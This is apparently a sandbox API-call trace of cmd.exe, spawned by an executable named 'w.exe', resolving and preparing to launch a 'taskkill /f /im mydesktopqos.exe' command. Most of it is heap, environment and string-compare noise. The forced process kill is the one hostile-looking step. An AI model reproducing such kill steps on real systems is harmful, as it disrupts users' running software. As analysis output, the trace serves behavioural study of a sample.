	[0037.346] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0037.346] GetProcessHeap () returned 0x6b0000
	[0037.346] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c2ae8 | out: hHeap=0x6b0000) returned 1
	[0037.346] GetEnvironmentStringsW () returned 0x6c2228*
	[0037.346] GetProcessHeap () returned 0x6b0000
	[0037.346] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xae2) returned 0x6c4b88
	[0037.346] FreeEnvironmentStringsW (penv=0x6c2228) returned 1
	[0037.347] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a970640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0037.347] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a970640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0037.347] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0037.347] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0037.347] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0037.347] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0037.347] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0037.347] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0037.347] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0037.347] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0037.347] GetProcessHeap () returned 0x6b0000
	[0037.347] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x54) returned 0x6c5678
	[0037.347] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x34f6f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0037.347] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x34f6f0, lpFilePart=0x34f6ec | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x34f6ec*="Desktop") returned 0x25
	[0037.347] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0037.347] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x34f46c | out: lpFindFileData=0x34f46c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x6c1e90
	[0037.347] FindClose (in: hFindFile=0x6c1e90 | out: hFindFile=0x6c1e90) returned 1
	[0037.347] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x34f46c | out: lpFindFileData=0x34f46c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x6c1e90
	[0037.347] FindClose (in: hFindFile=0x6c1e90 | out: hFindFile=0x6c1e90) returned 1
	[0037.347] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0037.348] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x34f46c | out: lpFindFileData=0x34f46c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x6c1e90
	[0037.348] FindClose (in: hFindFile=0x6c1e90 | out: hFindFile=0x6c1e90) returned 1
	[0037.348] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0037.348] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0037.348] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0037.348] GetProcessHeap () returned 0x6b0000
	[0037.348] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c4b88 | out: hHeap=0x6b0000) returned 1
	[0037.348] GetEnvironmentStringsW () returned 0x6c4098*
	[0037.348] GetProcessHeap () returned 0x6b0000
	[0037.348] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xb36) returned 0x6c5ed8
	[0037.348] FreeEnvironmentStringsW (penv=0x6c4098) returned 1
	[0037.348] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a965260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0037.348] GetProcessHeap () returned 0x6b0000
	[0037.348] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5678 | out: hHeap=0x6b0000) returned 1
	[0037.348] GetProcessHeap () returned 0x6b0000
	[0037.348] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x400e) returned 0x6c6a18
	[0037.349] GetProcessHeap () returned 0x6b0000
	[0037.349] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x54) returned 0x6c2d68
	[0037.349] GetProcessHeap () returned 0x6b0000
	[0037.349] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4008) returned 0x6caa30
	[0037.349] GetProcessHeap () returned 0x6b0000
	[0037.349] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4008) returned 0x6cea40
	[0037.350] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0037.351] GetProcessHeap () returned 0x6b0000
	[0037.351] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x418) returned 0x6c2dc8
	[0037.351] SetErrorMode (uMode=0x0) returned 0x8003
	[0037.351] SetErrorMode (uMode=0x1) returned 0x0
	[0037.351] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x6c2dd0, lpFilePart=0x34f668 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x34f668*="f") returned 0x31
	[0037.351] SetErrorMode (uMode=0x8003) returned 0x1
	[0037.351] GetProcessHeap () returned 0x6b0000
	[0037.351] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c2dc8, Size=0x96) returned 0x6c2dc8
	[0037.351] GetProcessHeap () returned 0x6b0000
	[0037.351] RtlSizeHeap (HeapHandle=0x6b0000, Flags=0x0, MemoryPointer=0x6c2dc8) returned 0x96
	[0037.351] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0037.351] GetProcessHeap () returned 0x6b0000
	[0037.351] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x72) returned 0x6d2a68
	[0037.351] GetProcessHeap () returned 0x6b0000
	[0037.351] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xd8) returned 0x6c2e68
	[0037.351] GetProcessHeap () returned 0x6b0000
	[0037.351] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c2e68, Size=0x72) returned 0x6c2e68
	[0037.352] GetProcessHeap () returned 0x6b0000
	[0037.352] RtlSizeHeap (HeapHandle=0x6b0000, Flags=0x0, MemoryPointer=0x6c2e68) returned 0x72
	[0037.352] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a970640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0037.352] GetProcessHeap () returned 0x6b0000
	[0037.352] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe0) returned 0x6c2ee8
	[0037.355] GetProcessHeap () returned 0x6b0000
	[0037.355] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c2ee8, Size=0x76) returned 0x6c2ee8
	[0037.355] GetProcessHeap () returned 0x6b0000
	[0037.355] RtlSizeHeap (HeapHandle=0x6b0000, Flags=0x0, MemoryPointer=0x6c2ee8) returned 0x76
	[0037.355] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0037.355] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im mydesktopqos.exe ", fInfoLevelId=0x1, lpFindFileData=0x34f404, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x34f404) returned 0xffffffff
	[0037.355] GetLastError () returned 0x3
	[0037.355] GetProcessHeap () returned 0x6b0000
	[0037.355] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6caa30 | out: hHeap=0x6b0000) returned 1
	[0037.355] GetProcessHeap () returned 0x6b0000
	[0037.355] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6cea40 | out: hHeap=0x6b0000) returned 1
	[0037.356] GetProcessHeap () returned 0x6b0000
	[0037.356] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c6a18 | out: hHeap=0x6b0000) returned 1
	[0037.356] GetConsoleOutputCP () returned 0x1b5
	[0037.356] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a964260 | out: lpCPInfo=0x4a964260) returned 1
	[0037.356] GetUserDefaultLCID () returned 0x409
	[0037.356] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a964950, cchData=8 | out: lpLCData=":") returned 2
	[0037.357] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x34f830, cchData=128 | out: lpLCData="0") returned 2
	[0037.357] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x34f830, cchData=128 | out: lpLCData="0") returned 2
	[0037.357] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x34f830, cchData=128 | out: lpLCData="1") returned 2
	[0037.357] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a964940, cchData=8 | out: lpLCData="/") returned 2
	[0037.357] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a964d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0037.357] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a964d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0037.357] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a964d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0037.357] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a964cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0037.357] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a964c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0037.357] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a964c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0037.357] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a964c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0037.357] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a964930, cchData=8 | out: lpLCData=".") returned 2
	[0037.357] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a964920, cchData=8 | out: lpLCData=",") returned 2
	[0037.357] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0037.359] GetProcessHeap () returned 0x6b0000
	[0037.359] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20c) returned 0x6c2f68
	[0037.359] GetConsoleTitleW (in: lpConsoleTitle=0x6c2f68, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0037.359] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0037.359] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0037.359] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0037.359] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0037.359] GetProcessHeap () returned 0x6b0000
	[0037.359] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x400a) returned 0x6c6a18
	[0037.359] GetProcessHeap () returned 0x6b0000
	[0037.360] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c6a18 | out: hHeap=0x6b0000) returned 1
	[0037.360] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0037.360] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0037.360] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0037.360] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0037.360] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0037.360] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0037.360] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0037.360] GetProcessHeap () returned 0x6b0000
	[0037.360] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x58) returned 0x6c3180
	[0037.360] GetProcessHeap () returned 0x6b0000
	[0037.360] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6c5718
	[0037.361] GetProcessHeap () returned 0x6b0000
	[0037.361] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3c) returned 0x6c31e0
	[0037.362] GetConsoleTitleW (in: lpConsoleTitle=0x34f528, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0037.362] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0037.362] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0037.362] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0037.362] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0037.362] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0037.362] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0037.362] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0037.362] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0037.362] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0037.362] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0037.362] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0037.362] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0037.362] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0037.362] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0037.362] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0037.362] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0037.362] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0037.363] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0037.363] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0037.363] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0037.363] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0037.363] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0037.363] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0037.363] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0037.363] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0037.363] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0037.363] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0037.363] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0037.363] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0037.363] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0037.363] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0037.363] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0037.363] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0037.363] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0037.363] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0037.363] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0037.363] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0037.363] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0037.363] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0037.363] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0037.363] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0037.363] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0037.363] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0037.363] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0037.363] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0037.363] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0037.363] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0037.363] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0037.363] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0037.363] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0037.363] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0037.364] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0037.364] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0037.364] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0037.364] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0037.364] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0037.364] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0037.364] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0037.364] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0037.364] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0037.364] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0037.364] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0037.364] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0037.364] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0037.364] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0037.364] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0037.364] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0037.364] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0037.364] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0037.364] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0037.364] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0037.364] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0037.364] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0037.364] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0037.364] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0037.364] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0037.364] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0037.364] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0037.364] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0037.364] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0037.364] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0037.364] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0037.364] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0037.364] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0037.364] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0037.364] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0037.364] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0037.365] GetProcessHeap () returned 0x6b0000
	[0037.365] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x210) returned 0x6c3228
	[0037.365] GetProcessHeap () returned 0x6b0000
	[0037.365] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4e) returned 0x6c3440
	[0037.365] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0037.365] GetProcessHeap () returned 0x6b0000
	[0037.365] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x418) returned 0x6b07f0
	[0037.365] SetErrorMode (uMode=0x0) returned 0x8003
	[0037.365] SetErrorMode (uMode=0x1) returned 0x0
	[0037.365] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6b07f8, lpFilePart=0x34f048 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x34f048*="Desktop") returned 0x25
	[0037.365] SetErrorMode (uMode=0x8003) returned 0x1
	[0037.365] GetProcessHeap () returned 0x6b0000
	[0037.365] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6b07f0, Size=0x66) returned 0x6b07f0
	[0037.366] GetProcessHeap () returned 0x6b0000
	[0037.366] RtlSizeHeap (HeapHandle=0x6b0000, Flags=0x0, MemoryPointer=0x6b07f0) returned 0x66
	[0037.366] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a970640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0037.366] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0037.366] GetProcessHeap () returned 0x6b0000
	[0037.366] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x120) returned 0x6c3498
	[0037.366] GetProcessHeap () returned 0x6b0000
	[0037.366] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x238) returned 0x6b0860
	[0037.368] GetProcessHeap () returned 0x6b0000
	[0037.368] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6b0860, Size=0x122) returned 0x6b0860
	[0037.368] GetProcessHeap () returned 0x6b0000
	[0037.368] RtlSizeHeap (HeapHandle=0x6b0000, Flags=0x0, MemoryPointer=0x6b0860) returned 0x122
	[0037.368] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a970640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0037.368] GetProcessHeap () returned 0x6b0000
	[0037.368] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe0) returned 0x6b0990
	[0037.368] GetProcessHeap () returned 0x6b0000
	[0037.368] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6b0990, Size=0x76) returned 0x6b0990
	[0037.368] GetProcessHeap () returned 0x6b0000
	[0037.368] RtlSizeHeap (HeapHandle=0x6b0000, Flags=0x0, MemoryPointer=0x6b0990) returned 0x76
	[0037.368] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0037.368] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x34edc4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x34edc4) returned 0xffffffff
	[0037.368] GetLastError () returned 0x2
	[0037.368] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x34edc4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x34edc4) returned 0xffffffff
	[0037.368] GetLastError () returned 0x2
	[0037.368] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0037.368] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x34edc4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x34edc4) returned 0x6b0a10
	[0037.369] GetProcessHeap () returned 0x6b0000
	[0037.369] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6b0a50
	[0037.369] FindClose (in: hFindFile=0x6b0a10 | out: hFindFile=0x6b0a10) returned 1
	[0037.369] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x34edc4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x34edc4) returned 0xffffffff
	[0037.369] GetLastError () returned 0x2
	[0037.369] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x34edc4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x34edc4) returned 0x6b0a10
	[0037.369] GetProcessHeap () returned 0x6b0000
	[0037.369] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6b0a50, Size=0x4) returned 0x6b0a50
	[0037.369] FindClose (in: hFindFile=0x6b0a10 | out: hFindFile=0x6b0a10) returned 1
	[0037.369] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0037.369] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0037.369] GetConsoleTitleW (in: lpConsoleTitle=0x34f2bc, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0037.369] InitializeProcThreadAttributeList (in: lpAttributeList=0x34f144, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x34f20c | out: lpAttributeList=0x34f144, lpSize=0x34f20c) returned 1
	[0037.369] UpdateProcThreadAttribute (in: lpAttributeList=0x34f144, dwFlags=0x0, Attribute=0x60001, lpValue=0x34f204, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x34f144, lpPreviousValue=0x0) returned 1
	[0037.369] GetStartupInfoW (in: lpStartupInfo=0x34f100 | out: lpStartupInfo=0x34f100*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc4, hStdOutput=0xc8, hStdError=0xac)) 
	[0037.369] GetProcessHeap () returned 0x6b0000
	[0037.369] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6b0a10
	[0037.369] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0037.369] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0037.369] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
